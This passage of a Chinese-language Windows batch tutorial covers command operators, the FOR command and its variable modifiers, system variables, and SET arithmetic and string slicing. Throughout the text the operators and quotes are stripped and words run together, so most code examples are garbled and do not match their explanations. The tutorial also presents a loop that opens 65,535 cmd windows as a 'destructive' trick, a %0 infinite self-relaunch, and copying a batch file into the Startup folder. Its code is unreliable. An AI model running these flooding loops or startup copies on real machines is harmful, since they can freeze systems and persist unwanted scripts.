第三条命令...]   用这种方法可以同时执行多条命令当碰到执行出错的命令后将不执行后面的命令如果一直没有出错则一直执行完所有命令   这个命令和上边的类似但区别是第一个命令失败时后边的命令也不会执行   dir z:\\ dir y:\\ dir c:\\ 10、||  组合命令 语法第一条命令 || 第二条命令 [|| 第三条命令...]   用这种方法可以同时执行多条命令当一条命令失败后才执行第二条命令当碰到执行正确的命令后将不执行后面的命令         如果没有出现正确的命令则一直执行完所有命令   提示组合命令和重定向命令一起使用必须注意优先级   管道命令的优先级高于重定向命令重定向命令的优先级高于组合命令   问题把C盘和D盘的文件和文件夹列出到a.txt文件中。看例   dir c:\\ dir d:\\ a.txt   这样执行后a.txt里只有D盘的信息为什么因为组合命令的优先级没有重定向命令的优先级高         所以这句在执行时将本行分成这两部分dir c:\\和dir d:\\ a.txt而并不是如你想的这两部分dir c:\\ dir d:\\和 a.txt。         要使用组合命令达到题目的要求必须得这么写dir c:\\ a.txt dir d:\\ a.txt   这样依据优先级高低DOS将把这句话分成以下两部分dir c:\\ a.txt和dir d:\\ a.txt。         例十八中的几句的差别比较特殊值得好好研究体会一下。   当然这里还可以利用命令自己想一下道理哦   dir c:\\ a.txt dir d:\\ a.txt 11、\\  字符串界定符 双引号允许在字符串中包含空格进入一个特殊目录可以用如下方法   cd \program files\   cd progra~1   cd pro*   以上三种方法都可以进入program files这个目录 12、,  逗号 逗号相当于空格在某些情况下“,”可以用来当做空格使   比如   dir,c:\\ 13、;  分号 分号当命令相同时可以将不同目标用来隔离但执行效果不变如执行过程中发生错误则只返回错误报告但程序仍会执行。       有人说不会继续执行其实测试一下就知道了   比如   dir c:\\;d:\\;e:\\;z:\\   以上命令相当于   dir c:\\   dir d:\\   dir e:\\   dir f:\\   如果其中z盘不存在运行显示系统找不到指定的路径。然后终止命令的执行。   例dir c:\\;d:\\;e:\\1.txt   以上命令相当于   dir c:\\   dir d:\\   dir e:\\1.txt   其中文件e:\\1.txt不存在但e盘存在有错误提示但命令仍会执行。   为什么如果目标路径不存在则终止执行如果路径存在仅文件不存在则继续执行。 14、()  括号 小括号在批处理编程中有特殊的作用左右括号必须成对使用括号中可以包括多行命令这些命令将被看成一个整体视为一条命令行。   括号在for语句和if语句中常见用来嵌套使用循环或条件语句其实括号()也可以单独使用请看例子。   例   命令echo 1 echo 2 echo 3   可以写成   (   echo 1   echo 2   echo 3   )   上面两种写法效果一样这两种写法都被视为是一条命令行。   注意这种多条命令被视为一条命令行时如果其中有变量就涉及到变量延迟的问题。 15、!  感叹号 没啥说的在变量延迟问题中用来表示变量即%var%应该表示为!var!请看前面的setlocal命令介绍。 第二章  FOR命令详解 如果有什么命令不懂直接在CMD下面输入name /? 这样的格式来看系统给出的帮助文件比如 for /? 就会把FOR命令的帮助全部显示出来!当然许多菜鸟都看不懂....所以才会有那么多批处理文章!!!!俺也照顾菜鸟把FOR命令用我自己的方式说明下! 一、基本格式 FOR %%variable IN (set) DO command [command-parameters]   %%variable 指定 一个单一字母 表示可替换的参数。   (set)             指定一个或一组文件。可以使用通配符。   command     指定对每个文件执行的命令。   command-parameters 为特定命令指定参数或命令行开关。   FOR  还有4个参数 /d 、/l、 /r、 /f     二、参数 /d仅为目录 FOR /D %%variable IN (set) DO command [command-parameters]   如果集中包含通配符则指定与目录名匹配而不与文件名匹配。   如果 Set (也就是我上面写的 \相关文件或命令\) 包含通配符* 和 ?         将对与 Set 相匹配的每个目录而不是指定目录中的文件组执行指定的 Command。   这个参数主要用于目录搜索,不会搜索文件,看这样的例子   echo off   for /d %%i in (c:\\*) do echo %%i   pause   运行会把C盘根目录下的全部目录名字打印出来,而文件名字一个也不显示!   在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来   echo off   for /d %%i in (???) do echo %%i   pause   这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了   这里解释下*号和?号的作用,*号表示任意N个字符,而?号只表示任意一个字符   知道作用了,给大家个思考题目!   echo off   for /d %%i in (window?) do echo %%i   pause   保存到C盘下执行,会显示什么呢?自己看吧! 显示windows   /D参数只能显示当前目录下的目录名字,这个大家要注意! 三、参数 /R递归文件名 FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]   检查以 [drive:]path 为根的目录树指向每个目录中的   FOR 语句。如果在 /R 后没有指定目录则使用当前   目录。如果集仅为一个单点(.)字符则枚举该目录树。   递归   上面我们知道,/D只能显示当前路径下的目录名字,那么现在这个/R也是和目录有关,他能干嘛呢?放心他比/D强大多了!   他可以把当前或者你指定路径下的文件名字全部读取,注意是文件名字,有什么用看例子!   请注意2点   1、set中的文件名如果含有通配符(或*)则列举/R参数指定的目录及其下面的所用子目录中与set相符合的所有文件     无相符文件的目录则不列举。   2、相反如果set中为具体文件名不含通配符则枚举该目录树即列举该目录及其下面的所有子目录     而不set中的指定文件是否存在。这与前面所说的单点.枚举目录树是一个道理单点代表当前目录也可视为一个文件。   例   echo off   for /r c:\\ %%i in (*.exe) do echo %%i   pause   咱们把这个BAT保存到D盘随便哪里然后执行,我会就会看到,他把C盘根目录,和每个目录的子目录下面全部的EXE文件都列出来了!!!!   例   echo off   for /r %%i in (*.exe) do echo %%i   pause   参数不一样了吧!这个命令前面没加那个C:\\也就是搜索路径,这样他就会以当前目录为搜索路径,比如你这个BAT你把他放在d:\\test目录下执行,   那么他就会把D:\\test目录和他下面的子目录的全部EXE文件列出来!!!   例   echo off   for /r c:\\ %%i in (boot.ini) do echo %%i   pause   运行本例发现枚举了c盘所有目录为了只列举boot.ini存在的目录可改成下面这样   echo off   for /r c:\\ %%i in (boot.ini) do if exist %%i echo %%i   pause 用这条命令搜索文件真不错。。。。。。         这个参数大家应该理解了吧!还是满好玩的命令 四、参数 /L迭代数值范围 FOR /L %variable IN (start,step,end) DO command[command-parameters]     该集表示以增量形式从开始到结束的一个数字序列。     因此 (1,1,5) 将产生序列 12345 (5,-1,1) 将产生序列 (54321)。     使用迭代变量设置起始值 (Start#) 然后逐步执行一组范围的值直到该值超过所设置的终止值 (End#)。          /L 将通过对 Start# 与 End# 进行比较来执行迭代变量。     如果 Start# 小于 End# 就会执行该命令。如果迭代变量超过 End#则命令解释程序退出此循环。          还可以使用负的Step# 以递减数值的方式逐步执行此范围内的值。     例如 (1,1,5) 生成序列 12345而(5,-1,1) 则生成序列 (54321)。          看着这说明有点晕吧!咱们看例子就不晕了! echooff for /l %%i in (1,1,5) do echo%%i pause 保存执行看效果,他会打印从12345 这样5个数字     (1,1,5)这个参数也就是表示从1开始每次加1直到5终止!         看这个例子 echoofffor /l %%i in (1,1,5) do start cmdpause 执行后是不是吓了一跳,怎么多了 5个 CMD窗口,呵呵!如果把那个 (1,1,5)改成 (1,1,65535)     会有什么结果,我先告诉大家,会打开65535个CMD 窗口     ....这么多你不死机算你强!     当然我们也可以把那个start cmd改成 md %%i 这样就会建立指定个目录了!!!名字为1-65535     看完这个被我赋予破坏性质的参数后,我们来看最后一个参数 ---------------------------------------------------------------------------------------------------------------------- 资料来源 https://ss64.com/nt/cmd.html 在批处理文件中使用以下内容 start cmd.exe /k more-batch-commands-here 要么 start cmd.exe /c more-batch-commands-here /c执行由字符串指定的命令然后终止  /k执行由字符串指定的命令但保持不变 有关 cmd /? 更多详细信息请参阅cmd.exe文档。 命令字符串的正确格式化会使参数中的空格更复杂一些。 看下面的例子。请注意在一些示例中使用嵌套双引号。 例子 运行一个程序并传递一个文件名参数 CMD /c write.exe c:\docs\sample.txt 运行一个程序并传递一个长文件名 CMD /c write.exe c:\sample documents\sample.txt 程序路径中的空间 CMD /c c:\Program Files\Microsoft Office\Office\Winword.exe 程序路径中的空间参数 CMD /c c:\Program Files\demo.cmd Parameter1 Param2 CMD /k c:\batch files\demo.cmd Parameter 1 with space Parameter2 with space 启动demo1和demo2 CMD /c c:\Program Files\demo1.cmd c:\Program Files\demo2.cmd for /L %%i in (1, 1, 10) do start cmd /k cd e: dir pause 输入一个数字然后进入最后一个盘符上的 PythonSpider/maoyan 目录然后执行 scrapy crawl mao_yan_base_time 命令 echo off FOR %%c in (Z,Y,X,W,V,U,T,S,R,Q,P,O,N,M,L,K,J,I,H,G,F,E,D,C) do (IF exist %%c: (set pan%%cGOTO :point) ):point::echo on set spider_pathPythonSpider/maoyan ::set /P loopinput spider number: set/P loopinput spider number:for /L %%i in (1, 1, %loop%) do start cmd /k %pan%: cd %spider_path% scrapy crawl mao_yan_base_time pause 五、参数 /F迭代及文件解析 \迭代及文件解析 使用文件解析来处理命令输出、字符串及文件内容。使用迭代变量定义要检查的内容或字符串并使用各种options选项进一步修改解析方式。 使用 options令牌选项指定哪些令牌应该作为迭代变量传递。请注意在没有使用令牌选项时 /F 将只检查第一个令牌。 文件解析过程包括读取输出、字符串或文件内容 将其分成独立的文本行以及再将每行解析成零个或更多个令牌。 然后通过设置为令牌的迭代变量值调用 for 循环。默认情况下 /F 传递每个文件每一行的第一个空白分隔符号。跳过空行。 详细的帮助格式为 FOR /F[options]%variable IN(file-set)DOcommand [command-parameters] FOR /F[options]%variable IN(string) DO command[command-parameters] FOR /F[options]%variable IN(command)DO command[command-parameters] 带引号的字符串options包括一个或多个指定不同解析选项的关键字。 这些关键字为: eolc - 指一个行注释字符的结尾(就一个) skipn - 指在文件开始时忽略的行数。 delimsxxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 tokensx,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。 m-n 格式为一个范围。通过 nth 符号指定 mth。 如果符号字符串中的最后一个字符星号那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。 usebackq - 使用后引号键盘上数字1左面的那个键。 未使用参数usebackq时 file-set表示文件但不能含有空格 双引号表示字符串即string 单引号表示执行命令即command 使用参数usebackq时 file-set和file-set都表示文件 当文件路径或名称中有空格时就可以用双引号括起来 单引号表示字符串即string 后引号表示命令执行即command 以上是用for/?命令获得的帮助信息直接复制过来的。 晕惨了!我这就举个例子帮助大家来理解这些参数! For命令例1 **************************************** echooff rem 首先建立临时文件test.txt echo;注释行,这是临时文件,用完删除 test.txt echo11段 12段 13段 14段 15段 16段 test.txt echo21段,22段,23段,24段,25段,26段 test.txt echo31段-32段-33段-34段-35段-36段 test.txt FOR /Feol; tokens1,3*delims,- %%iin (test.txt)do echo%%i%%j%%k Pause Del test.txt 运行显示结果 11段 13段 14段 15段 16段 21段 23段 24段,25段,26段 31段 33段 34段-35段-36段 请按任意键继续.. . 为什么会这样?我来解释 eol; 分号开头的行为注释行 tokens1,3* 将每行第1段,第 3段和剩余字段分别赋予变量%%i %%j %%k delims,- 减号后有一空格以逗号减号和空格为分隔符空格必须放在最后 For命令例2 **************************************** echooff FOR /Feol delims %%iin (test.txt)do echo%%i Pause运行将显示test.txt全部内容包括注释行不解释了哈。 For命令例3 **************************************** 另外/F参数还可以以输出命令的结果看这个例子 echooff FOR/Fdelims%%iin (netuser)doecho%%i pause 这样你本机全部帐号名字就出来了把扩号内的内容用两个单引号引起来就表示那个当命令执行, FOR会返回命令的每行结果,加那个delims 是为了让我空格的行能整行显示出来,不加就只显示空格左边一列! 基本上讲完了FOR的基本用法了...如果你看过FOR的系统帮助,你会发现他下面还有一些特 定义的变量,这些我先不讲.大家因该都累了吧!你不累 我累啊... 第三章 FOR命令中的变量 一、 ~I- 删除任何引号(\)扩展 %I 二、 %~fI- 将 %I 扩展到一个完全合格的路径名 三、 %~dI- 仅将 %I 扩展到一个驱动器号 四、 %~pI- 仅将 %I 扩展到一个路径 五、 %~nI- 仅将 %I 扩展到一个文件名 六、 %~xI- 仅将 %I 扩展到一个文件扩展名 七、 %~sI- 扩展的路径只含有短名 八、 %~aI- 将 %I 扩展到文件的文件属性 九、 %~tI- 将 %I 扩展到文件的日期/时间 十、 %~zI- 将 %I 扩展到文件的大小 十一、 %~$PATH:I FOR命令中有一些变量,他们的用法许多新手朋友还不太了解,今天给大家讲解他们的用法! 先把FOR的变量全部列出来: ~I - 删除任何引号()扩展 %I %~fI - 将 %I 扩展到一个完全合格的路径名 %~dI - 仅将 %I 扩展到一个驱动器号 %~pI - 仅将 %I 扩展到一个路径 %~nI - 仅将 %I 扩展到一个文件名 %~xI - 仅将 %I 扩展到一个文件扩展名 %~sI - 扩展的路径只含有短名 %~aI - 将 %I 扩展到文件的文件属性 %~tI - 将 %I 扩展到文件的日期/时间 %~zI - 将 %I 扩展到文件的大小 %~$PA TH:I - 查找列在路径环境变量的目录并将 %I 扩展到找到的第一个完全合格的名称。 如果环境变量名未被定义或者没有找到文件此组合键会扩展到空字符串 我们可以看到每行都有一个大写字母I,这个 I其实就是我们在 FOR带入的变量, 我们 FOR语句代入的变量名是什么,这里就写什么. 比如:FOR /F %%zIN (set)DOecho%%z 这里我们代入的变量名是z那么我们就要把那个 I改成z,例如%~fI改为%~fz至于前面的%~p这样的内容就是语法了! 好开始讲解: 一、 ~I - 删除任何引号()扩展 %I 这个变量的作用就如他的说明,删除引号! 我们来看这个例子: 首先建立临时文件temp.txt内容如下 1111 2222 3333 444444 555555 可建立个BAT文件代码如下: echooff echo^1111temp.txt echo2222temp.txt echo3333^temp.txt echo444444temp.txt echo^555555temp.txt rem 上面建立临时文件注意不成对的引号要加转义字符^重定向符号前不要留空格 FOR/Fdelims%%iIN(temp.txt)DO echo %%~i pause del temp.txt 执行后,我们看 CMD的回显如下: 1111 #字符串前的引号被删除了 2222 #字符串首尾的引号都被删除了 3333 #字符串前无引号后面的引号保留 444444 #字符串前面的引号删除了而中间的引号保留 555555 #字符串前面的引号删除了而中间的引号保留 请按任意键继续... 和之前 temp.txt中的内容对比一下,我们会发现第 1、 2、 5行的引号都消失了,这就是删除引号~i的作用了! 删除引号规则如下(BAT兄补充!) 1、若字符串首尾同时存在引号则删除首尾的引号 2、若字符串尾不存在引号则删除字符串首的引号 3、如果字符串中间存在引号或者只在尾部存在引号则不删除。 龙卷风补充无头不删有头连尾删。 二、 %~fI - 将 %I 扩展到一个完全合格的路径名看例子: 把代码保存放在随便哪个地方,我这里就放桌面吧. FOR/Fdelims%%iIN(dir/b)DOecho %%~fi pause 执行后显示内容如下 C:\Documentsand Settings\Administrator\桌面\test.bat C:\Documentsand Settings\Administrator\桌面\test.vbs 当我把代码中的 %%~fi直接改成%%i FOR/Fdelims%%iIN(dir/b)DOecho %%i pause 执行后就会显示以下内容 test.bat test.vbs 通过对比,我们很容易就看出没有路径了,这就是将 %I 扩展到一个完全合格的路径名的作用 也就是如果%i变量的内容是一个文件名的话,他就会把这个文件所在的绝对路径打印出来, 而不只单单打印一个文件名,自己动手动实验下就知道了! 三、 %~dI - 仅将 %I 扩展到一个驱动器号 看例子: 代码如下,我还是放到桌面执行! FOR/Fdelims%%iIN(dir/b)DOecho %%~di pause 执行后我CMD 里显示如下 C: C: 我桌面就两个文件 test.bat,test.vbs,%%~di作用是,如果变量%%i的内容是一个文件或者目录名, 他就会把他这文件或者目录所在的盘符号打印出来! 四、 %~pI - 仅将 %I 扩展到一个路径 这个用法和上面一样,他只打印路径不打印文件名字 FOR/Fdelims%%iIN(dir/b)DOecho %%~pi pause 我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧! 五、 %~nI - 仅将 %I 扩展到一个文件名只打印文件名字 FOR/Fdelims%%iIN(dir/b)DOecho %%~ni pause 六、 %~xI - 仅将 %I 扩展到一个文件扩展名只打印文件的扩展名 FOR/Fdelims%%iIN(dir/b)DOecho %%~xi pause 七、 %~sI - 扩展的路径只含有短名打印绝对短文件名 FOR/Fdelims%%iIN(dir/b)DOecho %%~si pause 八、 %~aI - 将 %I 扩展到文件的文件属性打印文件的属性 FOR/Fdelims%%iIN(dir/b)DOecho %%~ai pause 九、 %~tI - 将 %I 扩展到文件的日期/时间打印文件建立的日期 FOR/Fdelims%%iIN(dir/b)DOecho %%~ti pause 十、 %~zI - 将 %I 扩展到文件的大小打印文件的大小 FOR/Fdelims%%iIN(dir/b)DOecho %%~zi pause 龙卷风补充上面例子中的delims可以改为delims即不要分隔符 十一、 %~$PA TH:I - 查找列在路径环境变量的目录并将 %I 扩展到找到的第一个完全合格的名称。 如果环境变量名未被定义或者没有找到文件此组合键会扩展到空字符串这是最后一个,和上面那些都不一样,我单独说说! 然后在把这些代码保存为批处理,放在桌面。 echooff FOR/Fdelims%%iIN(“notepad.exe”) DOecho %%~$PA TH:i pause 龙卷风补充上面代码显示结果为C:\WINDOWS\system32\notepad.exe他的意思就在 PA TH变量里指定的路径里搜索 notepad.exe文件 如果有notepad.exe则会把他所在绝对路径打印出来没有就打印一个错误好了,FOR的的变量就介绍到这了 第四章 批处理中的变量 批处理中的变量分两种分别为 系统变量 和 自定义变量   一、系统变量 他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值, 不需要我们来给他赋值,我们只需要调用而以! 我把他们全部列出来! %ALLUSERSPROFILE% 本地 返回“ 所有用户” 配置文件的位置。 %APPDATA% 本地 返回默认情况下应用程序存储数据的位置。 %CD% 本地 返回当前目录字符串。 %CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 系统 返回当前的“ 命令处理程序扩展” 的版本号。 %COMPUTERNAME% 系统 返回计算机的名称。 %COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。 %DATE% 系统 返回当前日期。 使用与 date/t 命令相同的格式。由 Cmd.exe 生成。有关date 命令的详细信息请参阅 Date。 %ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“ 本地用户和组” 中指定的。 %HOMEPA TH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“ 本地用户和组” 中指定的。 %HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“ 本地用户和组” 中指定的。 %LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。 %OS% 系统 返回操作系统名称。 Windows2000 显示其操作系统为 Windows_NT。 %PA TH% 系统 指定可执行文件的搜索路径。%PA THEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值 x86 或 IA64基于Itanium %PROCESSOR_IDENTFIER% 系统 返回处理器说明。 %PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 系统 返回处理器的版本号。 %PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 系统 返回包含 Windowsserver operating system 根目录即系统根目录的驱动器。 %SYSTEMROOT% 系统 返回 Windowsserveroperating system 根目录的位置。 %TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP而其他应用程序则需要 TMP。 %TIME% 系统 返回当前时间。使用与 time/t 命令相同的格式。由 Cmd.exe 生成。有关time 命令的详细信息请参阅 Time。 %USERDOMAIN% 本地 返回包含用户帐户的域的名称。 %USERNAME% 本地 返回当前登录的用户的名称。 %USERPROFILE% 本地 返回当前用户的配置文件的位置。 %WINDIR% 系统 返回操作系统目录的位置。这么多系统变量,我们如何知道他的值是什么呢? 在CMD 里输入 echo%WINDIR% 这样就能显示一个变量的值了! 举个实际例子,比如我们要复制文件到当前帐号的启动目录里就可以这样 copyd:\1.bat %USERPROFILE%\「开始」菜单\程序\启动\ %USERNAME% 本地 返回当前登录的用户的名称。 注意有空格的目录要用引号引起来 另外还有一些系统变量,他们是代表一个意思,或者一个操作! 他们分别是%0%1%2%3 %4%5......一直到%9 还有一个%* %0 这个有点特殊,有几层意思,先讲%1-%9的意思. %1 返回批处理的第一个参数%2 返回批处理的第二个参数 %3-%9依此推类 反回批处理参数?到底怎么个返回法? 我们看这个例子,把下面的代码保存为 test.BAT然后放到C盘下 echooff echo%1%2%3%4 echo%1 echo%2 echo%3 echo%4 进入CMD,输入cdc:\ 然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数 注意中间的空格,我们会看到这样的结果: 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数 对比下代码,%1就是” 我是第一个参数” %2就是” 我是第二个参数” 怎么样理解了吧! 这些%1和%9可以让批处理也能带参数运行,大大提高批处理功能! 还有一个%* 他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数的值,不用在输入%1 %2来确定一个个的 例子 echooff echo%* 同样保存为test.bat 放到C盘 进入CMD,输入cdc:\ 然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数 可以看到他一次把全部参数都显示出来了 好现在开始讲那个比较特殊的%0%0 这个不是返回参数的值了,他有两层意思! 第一层意思:返回批处理所在绝对路径 例子: echooff echo%0 pause 保存为test.BAT放在桌面运行,会显示如下结果 C:\Documentsand Settings\Administrator\桌面\test.bat 他把当前批处理执行的所在路经打印出来了,这就是返回批处理所在绝对路径的意思 第二层意思:无限循环执行BAT 例子: echooff net user %0 保存为BAT执行,他就会无限循环执行net user这条命令,直到你手动停止. 龙卷风补充 其实%0就是第一参数%1前面那个参数 当然就是批处理文件名 包括路径。 以上就是批处理中的一些系统变量,另外还有一些变量,他们也表示一些功能, FOR命令中的那些就是,FOR变量已经说过,就不讲了.   二、自定义变量 故名思意,自定义变量就是由我们来给他赋予值的变量要使用自定义变量就得使用set命令了,看例子. echooff setvar我是值 echo%var% pause 保存为BAT执行,我们会看到CMD 里返回一个 我是值 var为变量名号右变的是要给变量的值 这就是最简单的一种设置变量的方法了 如果我们想让用户手工输入变量的值,而不是在代码里指定可以用用 set命令的 /p 参数。例子: echooff set /p var请输入变量的值 echo%var% pause var变量名 号右边的是提示语,不是变量的值 变量的值由我们运行后自己用键盘输入! 好了批处理的变量先介绍到这,关于 set命令,下次再写个专门的文章吧。 第五章 set命令详解 一、用set命令设置自定义变量 二、用set命令进行简单计算 三、用set命令进行字符串处理 1、字符串替换 2、字符串截取 一、用set命令设置自定义变量 显示、设置或删除 cmd.exe 环境变量。 SET [variable[string]] variable 指定环境变量名。 string 指定要指派给变量的一系列字符串。 要显示当前环境变量键入不带参数的 SET。 SET 命令不允许变量名含有等号。 例子: echooff setvar我是值 echo%var% pause 请看 setvar我是值 ,这就是 BAT直接在批处理中设置变量的方法! set 是命令 var是变量名 号右边的我是值是变量的值 在批处理中我们要引用这个变就把var变量名用两个%(百分号)扩起来,如%var% SET还可以提供一个交互界面,让用户自己输入变量的值,然后我们在来根据这个值来做相应 操作,现在我就来说说 SET的这种语法,只需要加一个/P参数就可以了! SET /P variable[promptString] 例子: echo off set /p var请输入变量的值: echo 您输入了 %var% ~_~ pause set /p 是命令语法 var是变量名 号右边的请输入变量的值: ,这个是提示语,不是变量的值了! 运行后,我们在提示语后面直接输入 1,就会显示一行您输入了 1 ~_~ 好了,先回顾到这,现在讲 SET其他功能 使用 set /?查看 SET的帮助我们发现 SET除了我上面讲的 SET [variable[string]] SET /P variable[promptString] 这两种语法外,还有如下几种语法: SET /A expression 环境变量替换已如下增强: %PA TH:str1str2% %PA TH:~10,5% %PA TH:~-10% %PA TH:~0,-2% 这机种语法有什么用处呢?下面我们来一个个讲解他们!   二、用 set命令进行简单计算 语法 SET /A expression /A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式 评估器很简单并以递减的优先权顺序支持下列操作: () -分组 ! ~ - -一元运算符 * / % -算数运算符 - -算数运算符 -二进制逻辑移位 -二进制按位“ 与” ^ -二进制按位“ 异” | -二进制按位“ 或” * / % - -算数赋值 ^ | -二进制运算赋值 , -表达式分隔符上面这些是系统帮助里的内容,看着是不是有点晕没关系我来简单解释一下: set的/A参数就是让SET可以支持数学符号进行加减等一些数学运算! 现在开始举例子介绍这些数学符号的用法: 例 echooff set/pinput请输入计算表达式 set/a var%input% echo 计算结果 %input%%var% pause 上面的例子是龙卷风设计的很好用哟请看下面几个运算过程 注意 DOS计算只能精确到整数 请输入计算表达式 192030-10 计算结果 192030-1050 请按任意键继续.. . 请输入计算表达式 10/3 计算结果 10/33 #DOS计算精确到整数小数舍了。 请按任意键继续.. . 请输入计算表达式 -10062 计算结果 -10062-38 请按任意键继续.. . 请输入计算表达式 100%3 求余数 计算结果 100%31 请按任意键继续.. . 请输入计算表达式 (2575)*2/(155) 计算结果 (2575)*2/(155)10 请按任意键继续.. . 请输入计算表达式 1234567890*9876543210 无效数字。数字精确度限为 32 位。 计算结果 1234567890*9876543210 请按任意键继续.. . 注意上面的计算过程显示 DOS计算只能精确到32位这个32位是指二进制32位 其中最高位为符号位 0为正 1为负低位31位为数值。 31 个 1 换成十进制为 2147483647所以 DOS 计算的有效值范围是-2147483647 至2147483647超出该数值范围时计算出错 请看下面的计算过程请输入计算表达式 2147483647-1 最大值减1值有效计算结果 2147483647-12147483646 请按任意键继续.. . 运行set /aa11,b21,c31后会显示一个 4,但我们用 echo%a%%b%%c%后看结果,会发现其他数学运算也有效果!,这就是逗号的作用! 有时候我们需要直接在原变量进行加减操作就可以用这种语法 set/a var1 这样的语法对应原始语法就是 set/avar %var%1 都是一样的结果,在原变量的值上在进行数学运算,不过这样写简单一点 再来一个: set/a var*2 其他都这么用,只要帮助里有这个语法! 另外还有一些用逻辑或取余操作符,这些符号,按照上面的使用方法会报错的 比如我们在CMD 里输入set/a var1 1与运算,他并不会显示为 1,而是报错, 为什么?对于这样的逻辑或取余操作符,我们需要把他们用双引号引起来,也可以用转义字符^ 看例子 set/a var1 1 这样结果就显示出来了,其他逻辑或取余操作符用法 set/a var1 1 异运算 set/a var1% 1 取模运算 set/a var3 2 左移位运算 3的二进制为11 左移2位为1100 换成十进制就是12 自行验证 set/a var4 2右移位运算 4的二进制为 100右移动2位为1结果为 1 还有几个数学不太行,搞不清楚了....不列出来了, 龙卷风补充凡是按位计算均需换算成二进制下面行中的符号均针对二进制 这些符号也可以用^ | 这样的简单用法如 set/a var1 等于 set/avar %var% 1 注意引号 思考题求2的n次方 答案 echooff set/pn请输入 2的几次方: set/a num1^^n echo%num% pause   三、用set命令进行字符串处理 1、字符串替换 好了符号说到这现在说%PA TH:str1str2% 上面语法的意思就是将字符串变量%PA TH%中的 str1替换为 str2这个是替换变量值的内容,看例子 echooff seta bbs.verybat. cn echo 替换前的值: %a% setvar%a:% echo 替换后的值: %var% pause 运行显示龙卷风添加 替换前的值: bbs.verybat.cn 替换后的值: bbs.verybat.cn 对比一下,我们发现他把变量%a%的空格给替换掉了,从这个例子,我们就可以发现 %PA TH:str1str2%这个操作就是把变量%PA TH%的里的str1全部用str2替换 比如我们把上面的例子改成这样 echooff setabbs.verybat.cn echo 替换前的值: %a% setvar%a:.伤脑筋% echo 替换后的值: %var% pause 运行显示 替换前的值: bbs.verybat.cn 替换后的值: bbs伤脑筋 verybat伤脑筋cn 解释set var%a:.伤脑筋% set是命令 var是变量名 字 a是要进行字符替换的变量的值,.为要替换的值, 伤脑筋为替换后的值! 执行后就会把变量%a%里面的.全部替换为伤脑筋 这就是set的替换字符的很好的功能! 替换功能先讲到这下面将字符串截取功能 2、字符串截取 ********************************************** 截取功能统一语法格式为 %a:~[m[,n]]% ********************************************** 方括号表示可选 %为变量标识符 a为变量名 不可少 冒号用于分隔变量名和说明部分 符号可以简单理解为“ 偏移” 即可 m为偏移量 缺省为0 n为截取长度缺省为全部 %PA TH:~10,5% 这个什么意思,看例子:截取功能例子1 echooff setabbs.verybat.cn setvar%a:~1,2% echo%var% pause 执行后,我们会发现只显示了bs两个字母,我们的变量%a%的值不是为 bbs.verybat.cn吗 怎么只显示了第2个字母和第3个字母bs,分析一结果我们就可以很容易看出 %PA TH:~10,5%就是显示变量PATH里从11位偏移量 10开始的5个字符! 分析set var%a:~1,2% set是命令 var是变量值 a要进行字符操作的变量 1从变量a第几位开始显示 2 表示显示几位。 合起来就是把变量a的值从第 2位偏移量 1开始,把 2个字符赋予给变量 var 这样应该明白了吧~ 其他两种语法 %PA TH:~-10% %PA TH:~0,-2% 他们也是显示指定变量指定几位的值的意思 %PA TH:~-10% 看例子 截取功能例子2 echooff setabbs.verybat.cn setvar%a:~-3% echo%var% pause 运行结果 .cn 这个就是把变量a倒数 3位的值给变量 VAR 当然我们也可以改成这样 截取功能例子3 echooff setabbs.verybat.cn setvar%a:~3% echo%var% pause 运行显示 .verybat.cn 这个就是把变量a的从第 3位开始后面全部的值给变量 VAR %PA TH:~0,-2% 例子截取功能例子4 echooff setabbs.verybat.cn setvar%a:~0,-3% echo%var% pause 执行后,我们发现显示的是bbs.verybat,少了.cn 从结果分析,很容易分析出,这是把变量a的值从 0位开始, 到倒数第三位之间的值全部赋予给var 如果改成这样 截取功能例子5 echooff setabbs.verybat.cn setvar%a:~2,-3% echo%var% pause 运行显示 s.verybat 那么他就是显示从第3位偏移量2开始减去倒数三位字符的值,并赋予给变量var 讲得好例子就是说明问题为便于记忆龙卷风小节如下 abbs.verybat.cn %a:~1,2% “ bs” 偏移量1从第二位开始向右取 2位 %a:~-3% “ .cn” 偏移量负 3即倒数3位也可理解为留下右边3位右取全部 %a:~3% “ .verybat.cn” 偏移量 3也可理解为去掉左边3位右取全部 %a:~0,-3% “ bbs.verybat” 偏移量 0右取长度至负3即倒数 3位 %a:~2,-3% “ s.verybat” 偏移量 2右取长度至负3即倒数 3位 ********************************************** 所以截取功能统一语法格式为 %a:~[m[,n]]% ********************************************** 方括号表示可选 